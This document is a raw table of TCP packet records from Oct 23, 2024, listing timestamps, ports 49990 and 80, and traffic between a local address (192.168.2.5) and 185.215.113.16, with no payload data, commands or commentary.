Oct 23, 2024 15:49:22.397332907 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.397356987 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.398886919 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.398941040 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.398977995 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.398993015 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.399015903 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.399022102 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.399033070 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.399034977 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.399049044 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.399055958 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.399065018 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.399075031 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.399085999 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.399092913 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.399116039 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.399132013 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.399136066 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.399147987 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.399157047 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.399164915 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.399182081 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.399183035 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.399198055 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.399204969 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.399228096 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.399239063 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.399246931 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.399360895 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.399386883 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.399403095 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.399416924 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.399432898 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.399442911 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.399442911 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.399449110 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.399461031 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.399466038 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.399473906 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.399493933 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.399504900 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.400156021 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.400172949 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.400187016 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.400204897 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.400218964 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.400223970 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.400228024 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.400240898 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.400257111 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.400266886 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.400286913 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.400532007 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.400577068 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.400916100 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.400962114 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.400962114 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.400979042 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.401002884 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.401019096 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.401046991 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.401062965 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.401078939 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.401089907 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.401101112 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.401122093 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.403302908 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.403363943 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.403373003 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.403420925 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.403424978 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.403460026 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.403471947 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.403493881 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.403501034 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.403527975 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.403537035 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.403563976 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.403567076 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.403613091 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.403723001 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.403769016 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.403868914 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.403914928 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.403919935 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.403954029 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.403986931 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.404001951 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.404025078 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.404031992 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.404040098 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.404059887 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.404067039 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.404102087 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.404701948 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.404736042 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.404753923 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.404771090 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.404778004 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.404812098 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.429821968 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.429847956 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.429864883 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.429876089 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.429898977 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.429898977 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.429972887 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.429990053 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.430015087 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.430030107 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.430032969 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.430044889 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.430056095 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.430061102 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.430078983 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.430078983 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.430095911 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.430099964 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.430121899 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.430138111 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.430150032 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.430166006 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.430181026 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.430188894 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.430188894 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.430207968 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.433070898 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.433088064 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.433104992 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.433120012 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.433125973 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.433152914 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.433159113 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.433188915 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.433258057 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.433275938 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.433291912 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.433309078 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.433320045 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.433326006 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.433334112 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.433360100 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.433367968 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.433389902 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.433428049 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.433461905 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.433485985 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.433502913 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.433511019 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.433518887 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.433521986 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.433556080 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.475739002 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.475764990 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.475783110 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.475819111 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.475838900 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.476594925 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.476629972 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.476646900 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.476665020 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.476667881 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.476707935 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.516060114 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.516097069 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.516129971 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.516146898 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.522192001 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.522250891 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.522252083 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.522294044 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.522298098 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.522346020 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.522349119 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.522387981 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.522388935 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.522422075 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.522433043 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.522458076 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.522463083 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.522495031 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.522502899 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.522538900 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.522547960 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.522583961 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.522617102 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.522629023 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.522651911 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.522687912 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.522696972 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.522722006 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.522730112 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.522773027 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.522821903 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.548573017 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.548609972 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.548638105 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.548651934 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.548664093 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.548700094 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.548734903 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.548752069 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.548779964 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.548798084 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.548851013 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.548887968 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.548894882 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.548923016 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.548955917 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.548958063 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.548978090 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.548999071 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.549010038 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.549045086 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.549056053 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.549078941 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.549089909 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.549115896 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.549124956 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.549153090 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.549166918 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.549187899 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.549195051 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.549232006 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.551856041 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.551882029 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.551898003 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.551913023 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.551938057 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.551947117 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.551953077 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.551979065 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.551985025 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.551995993 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.552012920 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.552025080 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.552030087 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.552057028 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.552083015 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.552118063 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.552134037 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.552175045 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.552177906 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.552194118 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.552218914 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.552247047 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.552330017 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.552345991 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.552362919 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.552377939 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.552378893 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.552395105 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.552418947 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.594623089 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.594675064 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.594715118 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.594799995 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.594841003 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.595288038 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.595350981 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.595386982 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.595407963 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.595439911 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.635126114 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.635171890 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.635298014 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.640700102 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.640791893 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.640862942 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.640866041 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.640918016 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.640921116 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.640958071 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.640991926 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.641012907 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.641027927 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.641047001 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.641072989 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.641078949 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.641108036 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.641141891 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.641163111 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.641177893 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.641191959 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.641252041 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.641311884 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.641339064 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.641374111 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.641391039 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.641408920 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.641418934 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.641458988 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.667903900 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.667920113 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.667934895 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.668003082 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.668050051 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.668072939 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.668078899 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.668088913 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.668103933 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.668118954 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.668122053 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.668139935 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.668154955 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.668167114 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.668170929 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.668185949 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.668195009 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.668195963 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.668201923 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.668216944 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.668217897 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.668236971 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.668250084 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.668252945 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.668271065 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.668286085 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.668317080 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.670821905 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.670836926 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.670850992 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.670866966 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.670886040 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.670903921 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.671083927 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.671102047 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.671125889 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.671139956 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.671149015 CEST	49990	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:22.671154976 CEST	80	49990	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:22.671158075 CEST	49990	80	192.168.2.5	185.215.113.16
